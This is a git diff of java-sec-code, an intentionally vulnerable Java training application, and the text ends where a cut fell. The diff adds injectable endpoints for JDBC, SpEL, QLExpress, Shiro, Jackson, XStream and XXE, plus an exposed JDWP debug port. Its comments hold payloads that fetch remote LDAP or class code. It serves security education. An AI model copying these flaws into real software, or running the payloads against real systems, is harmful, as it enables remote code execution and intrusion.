diff --git a/README.md b/README.md index 52642169..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,12 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 + +## Recruitment + +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + ## Introduce @@ -41,12 +46,14 @@ Sort by letter. - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) @@ -145,7 +152,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` return: @@ -203,12 +210,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/ Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -## Donate - -If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. - -### Alipay - -Scan the QRcode to support `Java sec code`. +## Support - +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md index 70e68837..b5c658c3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,11 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 + +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) ## 介绍 @@ -36,12 +40,14 @@ joychou/joychou123 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) @@ -137,7 +143,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` 返回: @@ -193,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 捐赠 - -如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - -### Alipay +## 支持 -扫描支付宝二维码支持`Java sec code`。 +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - diff --git a/docker-compose.yml b/docker-compose.yml index cb3f8efa..7e9c878e 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,9 +1,11 @@ -version : '2' +version : '3' services: jsc: image: joychou/jsc:latest + command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] ports: - "8080:8080" + - "8000:8000" links: - j_mysql diff --git a/java-sec-code.iml b/java-sec-code.iml index 6e093293..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,226 +1,14 @@ - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index 43c5b99a..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -196,11 +196,12 @@ 1.7 - + com.thoughtworks.xstream xstream - 1.4.10 + + 1.4.20 @@ -259,7 +260,7 @@ org.projectlombok lombok - 1.18.16 + 1.18.20 provided @@ -312,6 +313,96 @@ 3.27.0-GA + + org.springframework.data + spring-data-commons + 1.13.11.RELEASE + + + + com.jayway.jsonpath + json-path + + + + org.xmlbeam + xmlprojector + 1.4.13 + + + + + org.postgresql + postgresql + 42.3.1 + + + + + com.ibm.db2 + jcc + 11.5.8.0 + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 41169b9a..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -5,7 +5,6 @@ import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @ServletComponentScan // do filter diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java index be7a1b1c..15822d59 100644 --- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -1,10 +1,5 @@ package org.joychou.config; -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.io.IOException; @@ -19,8 +14,8 @@ import javax.servlet.*; import java.util.*; -@Component -public class TomcatFilterMemShell extends AbstractTranslet implements Filter { +//@Component +public class TomcatFilterMemShell implements Filter { static{ try { System.out.println("Tomcat filter backdoor class is loading..."); @@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter { } - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } - @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 1ca5ff43..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import com.fasterxml.jackson.databind.ObjectMapper; import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; @@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) return "I'm very OK."; } + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 00ab7008..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 2ab0dcef..eb9381e3 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -6,8 +6,8 @@ import com.alibaba.fastjson.JSONPObject; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; -import org.joychou.security.SecurityUtil; import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; @@ -19,7 +19,6 @@ import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; import java.security.Principal; diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java index 522fd44a..f3e4c126 100644 --- a/src/main/java/org/joychou/controller/Jwt.java +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque String loginUser = request.getUserPrincipal().getName(); log.info("Current login user is " + loginUser); - CookieUtils.deleteCookie(response, COOKIE_NAME); + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } String token = JwtUtils.generateTokenByJavaJwt(loginUser); Cookie cookie = new Cookie(COOKIE_NAME, token); diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java index ada8a394..b2ea4060 100644 --- a/src/main/java/org/joychou/controller/Log4j.java +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -2,7 +2,7 @@ import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @@ -11,19 +11,19 @@ public class Log4j { private static final Logger logger = LogManager.getLogger("Log4j"); /** - * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} * Default: error/fatal/off * Fix: Update log4j to lastet version. - * @param token token */ - @GetMapping("/log4j") + @RequestMapping(value = "/log4j") public String log4j(String token) { - if(token.equals("java-sec-code")) { - return "java sec code"; - } else { - logger.error(token); - return "error"; - } + logger.error(token); + return token; + } + + public static void main(String[] args) { + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; + logger.error(poc); } } diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 6d6a3417..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,6 +1,7 @@ package org.joychou.controller; import groovy.lang.GroovyShell; +import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -21,6 +22,7 @@ * * @author JoyChou @ 2018-05-24 */ +@Slf4j @RestController @RequestMapping("/rce") public class Rce { @@ -55,8 +57,7 @@ public String CommandExec(String cmd) { /** - * http://localhost:8080/rce/ProcessBuilder?cmd=whoami - * @param cmd cmd + * POC */ @GetMapping("/ProcessBuilder") public String processBuilder(String cmd) { @@ -128,5 +129,10 @@ public void groovyshell(String content) { groovyShell.evaluate(content); } + + + public static void main(String[] args) throws Exception{ + Runtime.getRuntime().exec("touch /tmp/x"); + } } diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 698f4a7e..452180b8 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,38 +1,64 @@ package org.joychou.controller; +import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection - * + * SpEL Injection. * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * SpEL to RCE - * http://localhost:8080/spel/vul/?expression=xxx. - * xxx is urlencode(exp) - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") */ - @GetMapping("/spel/vuln") - public String rce(String expression) { + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { ExpressionParser parser = new SpelExpressionParser(); - // fix method: SimpleEvaluationContext - return parser.parseExpression(expression).getValue().toString(); + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response + } + + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); } public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String expression = "1+1"; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } + } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java deleted file mode 100644 index 3b75c7d0..00000000 --- a/src/main/java/org/joychou/controller/Test.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.joychou.controller; - -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; - -@RestController -@RequestMapping("/test") -public class Test { - - @RequestMapping(value = "/") - public String Index(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - return "success"; - } - - - @RequestMapping(value = "/aa") - public void test(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - } -} diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 35d37576..156cc73d 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -6,7 +6,8 @@ import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; -import java.net.MalformedURLException; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; @@ -86,20 +87,21 @@ public String regex(@RequestParam("url") String url) { /** - * The bypass of using java.net.URL to getHost. + * The bypass of using {@link java.net.URL} to getHost. *

- * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' - * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' + * bypass 1 + * bypass 2 + * *

- * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass + * More details */ @GetMapping("/vuln/url_bypass") - public String url_bypass(String url) throws MalformedURLException { + public void url_bypass(String url, HttpServletResponse res) throws IOException { logger.info("url: " + url); if (!SecurityUtil.isHttp(url)) { - return "Url is not http or https"; + return; } URL u = new URL(url); @@ -109,11 +111,10 @@ public String url_bypass(String url) throws MalformedURLException { // endsWith . for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { - return "Good url."; + res.sendRedirect(url); } } - return "Bad url."; } diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index 62616e95..aa3469bd 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,6 +2,7 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; @@ -24,20 +25,9 @@ public class XStreamRce { public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) { - User user = new User(); - user.setId(0); - user.setUsername("admin"); - - XStream xstream = new XStream(new DomDriver()); - String xml = xstream.toXML(user); // Serialize - System.out.println(xml); - - user = (User) xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername()); - } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 14b6a232..58e90739 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -4,6 +4,9 @@ import org.dom4j.io.SAXReader; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.data.web.ProjectedPayload; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -27,6 +30,7 @@ import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; import org.joychou.util.WebUtils; +import org.xmlbeam.annotation.XBRead; /** * Java xxe vuln and security code. @@ -38,8 +42,8 @@ @RequestMapping("/xxe") public class XXE { - private static Logger logger = LoggerFactory.getLogger(XXE.class); - private static String EXCEPT = "xxe except"; + private static final Logger logger = LoggerFactory.getLogger(XXE.class); + private static final String EXCEPT = "xxe except"; @PostMapping("/xmlReader/vuln") public String xmlReaderVuln(HttpServletRequest request) { @@ -226,16 +230,15 @@ public String DigesterSec(HttpServletRequest request) { } - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) - public String DocumentBuilderVuln01(HttpServletRequest request) { + /** + * Use request.getInputStream to support UTF16 encoding. + */ + @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) + public String DocumentBuilderVuln(HttpServletRequest request) { try { - String body = WebUtils.getRequestBody(request); - logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); + InputSource is = new InputSource(request.getInputStream()); Document document = db.parse(is); // parse xml // 遍历xml节点name和value @@ -249,7 +252,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } - sr.close(); return buf.toString(); } catch (Exception e) { e.printStackTrace(); @@ -258,43 +260,6 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { } } - - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) - public String DocumentBuilderVuln02(HttpServletRequest request) { - try { - String body = WebUtils.getRequestBody(request); - logger.info(body); - - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); - DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml - - // 遍历xml节点name和value - StringBuilder result = new StringBuilder(); - NodeList rootNodeList = document.getChildNodes(); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList child = rootNode.getChildNodes(); - for (int j = 0; j < child.getLength(); j++) { - Node node = child.item(j); - // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); - } - } - } - sr.close(); - return result.toString(); - } catch (Exception e) { - logger.error(e.toString()); - return EXCEPT; - } - } - - @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) public String DocumentBuilderSec(HttpServletRequest request) { try { @@ -447,7 +412,32 @@ private static void response(NodeList rootNodeList){ } } - public static void main(String[] args) { + /** + * Receiving POST requests supporting both JSON and XML. + * CVE-2018-1259 + */ + @PostMapping(value = "/xmlbeam/vuln") + HttpEntity post(@RequestBody UserPayload user) { + try { + logger.info(user.toString()); + return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); + }catch (Exception e){ + e.printStackTrace(); + return ResponseEntity.ok("error"); + } + } + + /** + * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. + */ + @ProjectedPayload + public interface UserPayload { + @XBRead("//userName") + String getUserName(); + } + + public static void main(String[] args) { + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index ec054ffd..d3107c3e 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -1,7 +1,6 @@ package org.joychou.controller.othervulns; import com.monitorjbl.xlsx.StreamingReader; -import org.apache.poi.ss.usermodel.Workbook; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index 1336f571..0b8eb3b0 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,32 +1,11 @@ package org.joychou.dao; -import java.io.Serializable; +import lombok.Data; -public class User implements Serializable { - private static final long serialVersionUID = 1L; + +@Data +public class User { private Integer id; private String username; private String password; - - public Integer getId() { - return id; - } - public void setId(Integer id) { - this.id = id; - } - - public String getUsername() { - return username; - } - public void setUsername(String username) { - this.username = username; - } - - public String getPassword() { - return password; - } - public void setPassword(String password) { - this.password = password; - } - } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index ee962846..fef14593 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,7 +18,7 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); - private static Logger logger = 